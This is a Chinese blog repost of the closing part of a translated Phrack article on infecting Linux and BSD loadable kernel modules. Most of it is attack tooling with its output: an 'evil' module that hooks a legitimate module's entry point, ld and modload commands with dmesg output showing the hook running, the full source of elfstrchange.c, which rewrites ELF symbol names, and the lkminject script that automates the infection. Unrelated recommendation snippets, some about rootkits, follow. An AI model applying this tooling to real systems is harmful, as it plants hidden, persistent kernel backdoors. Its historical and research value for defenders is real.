LKM 注射 三

SPAD单光子雪崩二极管:从基础原理到前沿应用 本文深入解析SPAD单光子雪崩二极管的基础原理、硬件实现关键及核心性能参数,并探讨其在激光雷达、量子通信和生物医学成像等前沿领域的创新应用。SPAD凭借超高灵敏度和精确的时间分辨率,正在推动自动驾驶、量子技术和医学诊断等领域的革命性发展。 阅读详情
下面这部分是要插入的代码:

$ cat evil_lkm.c
#include <sys/cdefs.h>
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/lkm.h>

int    gentil_lkmentry(struct lkm_table *, int, int);

int
inject_entry(struct lkm_table *lkmt, int cmd, int ver)
{
    switch(cmd) {
    case LKM_E_LOAD:
        printf("evil: in place/n");
        break;
    case LKM_E_UNLOAD:
        printf("evil: i'll be back!/n");
        break;
    case LKM_E_STAT:
        printf("evil: report in progress/n");
        break;
    default:
        printf("edit: unknown command/n");
        break;
    }

    return gentil_lkmentry(lkmt, cmd, ver);
}

  分别编译了 gentil 和 evil 之后,我们把它们链接到一起:

$ ld -r -o evil.o gentil.o inject.o
$ mv evil.o gentil.o

# modload -e evil_entry gentil.o
Module loaded as ID 2

# modstat
Type    Id   Offset  Loadaddr  Size  Info      Rev  Module  Name
DEV     0  -1/108  d3ed3000  0004  d3ed3440   1  mmr
DEV     1  -1/180  d3fa6000  03e0  d4090100   1  nvidia
MISC    2      0   e45b9000  0004  e45b9254  1  gentil

# modunload -n gentil

# dmesg | tail
evil: in place
gentil: Hello, world!
evil: report in progress
gentil: How you doin', world?
evil: i'll be back!
gentil: Goodbye, world!

  好了,一切如此完美 :)

------[ 5.2.3 - OpenBSD

  OpenBSD 不使用 x86 构架的 ELF 文件,所以这个技术没有用武之地。我没有在那些使用ELF的平台上测试过,但是我觉得它们看起来和NetBSD差不多,上面的hack技术应该也适用。如果你在使用ELF的 OpenBSD 平台上成功了,告诉我一声。

--[ 6 - 结论

  这篇文章补充了一些在内核中集成代码的方法。我提出这个技术是因为你只要做很少的处理就可以实现代码的插入,的确很有趣。

--[ 8 - 参考资料

--[ 9 - 源代码

----[ 9.1 - ElfStrChange

/*
* elfstrchange.c by truff <truff@projet7.org>
* Change the value of a symbol name in the .strtab section
*
* Usage: elfstrchange elf_object sym_name sym_name_replaced
*
*/

#include <stdlib.h>
#include <stdio.h>
#include <elf.h>

#define FATAL(X) { perror (X);exit (EXIT_FAILURE); }


int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
                       Elf32_Shdr *shstrtable, char *res, size_t len);

Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
                       Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);

Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
                       Elf32_Shdr *strtable, char *res, size_t len);

int main (int argc, char **argv)
{
  int i;
  int len = 0;
  char *string;
  FILE *fd;
  Elf32_Ehdr hdr;
  Elf32_Shdr symtab, strtab;
  Elf32_Sym sym;
  Elf32_Off symoffset;

  fd = fopen (argv[1], "r+");
  if (fd == NULL)
    FATAL ("fopen");

  if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1)
    FATAL ("Elf header corrupted");

  if (ElfGetSectionByName (fd, &hdr, ".symtab", &symtab) == -1)
  {
    fprintf (stderr, "Can't get .symtab section/n");
    exit (EXIT_FAILURE);
  }

  if (ElfGetSectionByName (fd, &hdr, ".strtab", &strtab) == -1)
  {
    fprintf (stderr, "Can't get .strtab section/n");
    exit (EXIT_FAILURE);
  }

  symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym);
  if (symoffset == -1)
  {
    fprintf (stderr, "Symbol %s not found/n", argv[2]);
    exit (EXIT_FAILURE);
  }

  printf ("[+] Symbol %s located at 0x%x/n", argv[2], symoffset);

  if (fseek (fd, symoffset, SEEK_SET) == -1)
    FATAL ("fseek");

  if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3]))
    FATAL ("fwrite");

  printf ("[+] .strtab entry overwriten with %s/n", argv[3]);

  fclose (fd);

  return EXIT_SUCCESS;
}

Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
            Elf32_Shdr *strtab, char *name, Elf32_Sym *sym)
{
  int i;
  char symname[255];
  Elf32_Off offset;

  for (i=0; i<(symtab->sh_size/symtab->sh_entsize); i++)
  {
    if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),
               SEEK_SET) == -1)
      FATAL ("fseek");

    if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1)
      FATAL ("Symtab corrupted");

    memset (symname, 0, sizeof (symname));
    offset = ElfGetSymbolName (fd, sym->st_name,
                        strtab, symname, sizeof (symname));
    if (!strcmp (symname, name))
      return offset;
  }

  return -1;
}


int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,
    Elf32_Shdr *shdr)
{
  if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize),
             SEEK_SET) == -1)
    FATAL ("fseek");

  if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
    FATAL ("Sections header corrupted");

  return 0;
}


int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,
                         Elf32_Shdr *shdr)
{
  int i;
  char name[255];
  Elf32_Shdr shstrtable;

  /*
   * Get the section header string table
   */
  ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);

  memset (name, 0, sizeof (name));

  for (i=0; i<ehdr->e_shnum; i++)
  {
    if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize),
               SEEK_SET) == -1)
      FATAL ("fseek");

    if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
      FATAL ("Sections header corrupted");

    ElfGetSectionName (fd, shdr->sh_name, &shstrtable,
                       name, sizeof (name));
    if (!strcmp (name, section))
    {
      return 0;
    }
  }
  return -1;
}


int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
    Elf32_Shdr *shstrtable, char *res, size_t len)
{
  size_t i = 0;

  if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1)
    FATAL ("fseek");

  while ((i < len) || *res == '/0')
  {
    *res = fgetc (fd);
    i++;
    res++;
  }

  return 0;
}


Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
    Elf32_Shdr *strtable, char *res, size_t len)
{
  size_t i = 0;

  if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1)
    FATAL ("fseek");

  while ((i < len) || *res == '/0')
  {
    *res = fgetc (fd);
    i++;
    res++;
  }

  return (strtable->sh_offset + sym_name);
}
/* EOF */



----] 9.2 Lkminject

#!/bin/sh
#
# lkminject by truff (truff@projet7.org)
#
# Injects a Linux lkm into another one.
#
# Usage:
# ./lkminfect.sh original_lkm.o evil_lkm.c
#
# Notes:
# You have to modify evil_lkm.c as explained bellow:
# In the init_module code, you have to insert this line, just after
# variables init:
# dumm_module ();
#
# In the cleanup_module code, you have to insert this line, just after
# variables init:
# dummcle_module ();
#
#      _blank>http://www.projet7.org                  - Security Researchs -
#############################################################


sed -e s/init_module/evil_module/ $2 > tmp
mv tmp $2

sed -e s/cleanup_module/evclean_module/ $2 > tmp
mv tmp $2

# Replace the following line with the compilation line for your evil lkm
# if needed.
make

ld -r $1 $(basename $2 .c).o -o evil.o

.../elfstrchange evil.o init_module dumm_module
.../elfstrchange evil.o evil_module init_module
.../elfstrchange evil.o cleanup_module dummcle_module
.../elfstrchange evil.o evclean_module cleanup_module

mv evil.o $1
rm elfstrchange

|=[ EOF ]=-----------------------------------=|
Qemu开发ARM篇-5、buildroot制作根文件系统并挂载启动 在上一篇中,我们编译了kernel,并在qemu上进行了运行,但到最后,在挂载根文件系统时候,挂载失败,这是因为我们还没有根文件系统,在本章中,我们将制作根文件系统。rootfs制作方式有很多方式,如busyBoxbuildrootYocto等,在该篇章中,我们使用buildroot来制作根文件系统,主要考虑到busyBox制作完还需要手动首改一些启动配置比较繁琐,而Yocto如果电脑配置不是很好,编译时间过长,比较麻烦。 阅读详情

相关推荐

基于opencv-ANN的水果识别模型训练

本文通过opencv-ann-mlp训练模型,实现对五种水果进行分类识别。本文详细介绍该项目的各个过程,包括数据准备、预处理、样本读取、训练数据集制作、训练标签制作、模型参数设置、模型训练,模型测试验证等,总结该过程需要注意的事项。

qq_15985873的博客 3974

LKM 注射

==Phrack Inc.==              Volume 0x0b, Issue 0x3d, Phile #0x0a of 0x0f|=----------------=[ Infecting loadable kernel modules ]=----------------=||=--------------------------------------------------

陈巍@人生态度 1594

AI for Science:GNN预测分子性质全流程详解与工业实践

从分子表示到工业落地,一文掌握图神经网络在药物研发与材料设计中的核心实战近年来,的浪潮正深刻变革着传统科研范式。在药物研发与材料设计领域,作为核心环节,已从传统的实验试错转向基于图神经网络(GNN)的智能计算。本文将深入解析GNN预测分子性质的,涵盖数据准备、模型设计、训练优化到工业部署,并揭秘前沿技术与实战案例。

datacanvas2426的博客 1675

LKM 注射 一

内容        1 - 介绍        2 - ELF 基础知识          2.1 - The .symtab section          2.2 - The .strtab section        3 - 玩转 loadable kernel modules          3.1 - 模块加载          3.2 - 修改 .strtab section  

1281

小红书爬取实战指南

以上方案仅供技术学习参考,请确保遵守目标网站的服务条款和相关法律法规。

monk all the way 6930

数字IC设计(8)之AHB-Lite总线(持续更新)

AHB总线全称Advanced High-performance Bus,意为先进高性能总线。推出该总线的目的是补充APB总线在性能上的不足,APB总线适合挂载低速外设,所以AHB总线用来挂载高性能的外设,这样子可以分工合作,节约资源。AHB总线可以实现多主多从的连接,此时需要设计仲裁机和matrix(矩阵),AHB-Lite一般用于一主多从,此时则不需要仲裁机和matrix,但是也可以用AHB-Lite来实现多主多从,就是设计多个layer,每个layer是一主多从,再把各个layer连起来;

qq_69440734的博客 2257

Infecting loadable kernel modules 笔记

phrack 68期 Infecting loadable kernel modules 笔记 源文章:http://www.phrack.org/issues.html?issue=68&id=11#article 一。ELF文件格式与内核模块链接机制 1.对于内核模块来说,主要包括了ELF格式中的三个部分(按文件中的存储顺序):ELF header, sections, sectio

706

用Multisim和74192芯片复刻经典:手把手教你搭建篮球24秒违例计时器(附仿真文件)

本文详细介绍了如何使用Multisim仿真平台和74192芯片构建篮球24秒违例计时器,涵盖时序逻辑电路设计、核心器件选型、仿真环境搭建及调试技巧。通过分步指导,帮助读者掌握数字电路设计的关键技术,并附赠仿真文件供实践参考。

weixin_27014595的博客 279

我不在医大二院打针

<br />记得有一次孩子嗓子发炎,发烧了。<br />晚上下班后我们带他到医大二院看了急诊,医生给开了两天的点滴。<br />第一天,护士第一针就成功了,孩子没哭。护士直夸他勇敢。点滴打完后,孩子老问我们:“我打针勇敢吗?”<br />“勇敢”,我们回答。<br />第二天,护士第一针失败了。孩子有些紧张了,我们赶紧夸他勇敢,还没有问题。<br />第二针又失败了,有眼泪在孩子的眼里打转。我们赶紧安抚,要孩子勇敢的坚持下。小家伙没有闹。<br />给我家孩子扎针确实比较难,这个护士也有点发憷了,赶紧换了一

sulongvc的专栏 1927

SGM5860x高精度ADC驱动开发与SPI接口实战指南

本文详细介绍了SGM5860x高精度ADC芯片的驱动开发与SPI接口配置实战。内容涵盖芯片特性、SPI通信设置、寄存器映射、驱动初始化、数据采集处理、校准优化及调试技巧,帮助开发者快速掌握国产24位ADC的应用,提升工业测量项目的精度与稳定性。

vvv99的博客 727

电工电子实验——3BIT延时电路的设计与实现

设计一个 3BIT延时电路。 设计分析: Ⅰ.根据触发器的特性,只有来两个触发脉冲时才能恢复到原来的状态。也就是说触发器的输出信号比触发信号延迟了一个触发脉冲周期即1bit。据此3bit就需要3个触发器。 Ⅱ.输出要可控就要加一控制器,可用选择器实现。 Ⅲ.为便于观察输出信号的延迟,可设计一个F1信号。

qq_55543315的博客 1128

静态链接器构造

静态链接器构造   一、             链接器简介 众所周知,高级语言程序编写后需要经过编译、汇编、链接、加载的步骤才能在机器上正常执行。Gcc的处理步骤更加复杂:如果是C语言程序(*.c)作为gcc的输入,gcc首先对高级语言程序进行预编译,然后利用文法分析程序将程序翻译为通用的中间代码,接着gcc对中间代码进行优化后最终生成x86的汇编程序(*.S);下一步gcc的汇编器开始工

shenghua 878

Claude Code(8):使用 skill-creator 打造属于测试人员的 Skills

本文介绍了如何使用Claude Code的skill-creator工具快速创建测试相关的Skills。skill-creator是一个专门用于创建新Skills的Skill,相比手动创建更高效。文章详细演示了安装skill-creator的步骤,并通过创建"测试计划编写助手"的实战案例,展示了如何通过对话方式定义Skill名称、触发条件和功能需求。skill-creator会自动生成完整的SKILL.md文件和目录结构,用户只需确认即可完成Skill创建。

blues_C的博客 527

Linux Rootkit 系列一:LKM的基础编写及隐藏

对于这个系列文章,我的规划如下:这一系列文章的重点集中在介绍linuxrootkit中最讨论最多也是最受欢迎的一种:loadablekernelmodulerootkit(LKMrootkit)。 首先介绍最基础的lkm模块的编写与加载以及如何让lsmod命令无法发现我们的模块(也就是本文的内容),然后是介绍lkmrootkit中最重要的技术,系统调用挂钩,我将会给大家介绍三种不同的...

whatday的专栏 4214

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

Linux可加载内核模块(LKM)(转载)

转载:漏天剑文章导航: 为校长杯流尽最后一滴血, Lkm注射, 返回首页 Linux可加载内核模块(LKM)Linux可加载内核模块完全版--黑客、病毒程序编写者和系统管理员的概念性指南作者:pragmatic/THC版本:1.0发布时间:03/1999/译者:spark.bbs@bbs.nankai.edu.cn I.基础知识1.什么是LK

robinshaw的专栏 5887

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

Loadable Kernel Modules 注射

LKM 注射 --[ 内容 1 - 介绍 2 - ELF 基础知识 2.1 - The .symtab section 2.2 - The .strtab section 3 - 玩转 loadable kernel modules 3.1 - 模块加载 3.2 - 修改 .strtab section 3.3 - 插入代码 3.4 - 保持隐蔽性 4 - 实例 4.1 - 最简单的 LKM 感染

hanwei_1049的专栏 662

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

LKM 注射 二

----[ 3.3 - 插入代码  不断发展的技术使得替换函数并且执行变成了可能,不过这还不是特别有趣。如果我们能在已有的模块中插入外来的代码就更好了。有一种方法可以 *轻松* 做到这点--使用ld 这个法宝。$ cat original.c#define MODULE#define __KERNEL__#include #include int init_module(void){  print

1253

Rootkit技术的主要原理

文章作者:hackisle信息来源:邪恶八进制信息安全团队(www.eviloctal.com)rootkit的主要分类:应用级->内核级->硬件级早期的rootkit主要为应用级rootkit,应用级rootkit主要通过替换login、ps、ls、netstat等系统工具,或修改.rhosts等系统配置文件等实现隐藏及后门;硬件级rootkit主要指bios rootkit,可以在系统加载前获

葉落堂 950

Rootkit基础(1)

1. rootkit的主要分类: 应用级->内核级->硬件级 早期的rootkit主要为应用级rootkit,应用级rootkit主要通过替换login、ps、ls、netstat等系统工具,或修 改.rhosts等系统配置文件等实现隐藏及后门;硬件级rootkit主要指bios rootkit,可以在系统加载前获得控制权,通过向磁盘中写入 文件,再由引导程序加载该文件重新获得控制权,也可

软件调试的变革 1348

Linux下的RootKit简单介绍与分析

个人工作之余的实践总结,简单地把RootKit分为用户态rootkit和内核级rootkit。内核级rootkit可分基于LKM 的rootkit(又细分为系统调用表修改类以及VFS层rootkit等)和非LKM的rootkit(如系统调用表重定向等)。Linux下还有BIOS、PCI、Boot(NTLDR、BCD,Grub)等更新颖技术的rootkit...

weixin_34297704的博客 383

加载内核模块

Tim所著文章http://www.ibm.com/developerworks/cn/linux/l-lkm/index.htmlLinux 可加载内核模块剖析insmod-->init_module-->sys_init_modulermmod-->delete_module-->sys_delete_module 在模块的加载和卸载期间,模块子系统维护了一组简单的状...

weixin_33738578的博客 140

Rootkit技术的主要原理及防护

2019独角兽企业重金招聘Python工程师标准>>> ...

weixin_34167043的博客 578

sublimerepl 固定窗口_注塑模具,你知道精密仪器的透明窗口是怎样设计的吗,附图纸参考...

一. 引言今天老师给大家分享一个电子控制仪器的数字显示窗口, 这种产品属于LED屏幕的外表面使用透明窗口,以方便观察数据。这种产品属于高端电子产品, 对仪器窗的尺寸精度较高,产品外观要求高,生产批量也大。图1仪器窗产品图二.塑件要求塑件材料为 PC,缩水率为 1.006,质量 3.7克。仪器窗产品尺寸如图 1,其最大外形尺寸为 75mm x 16 mm x8.25mm,塑件尺寸较小,两端有卡勾形成...

weixin_40004051的博客 280
上一篇: 暴力句柄Dup结束法
下一篇: Ring0级的rootkit XFKnrl的发现、删除及其他
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值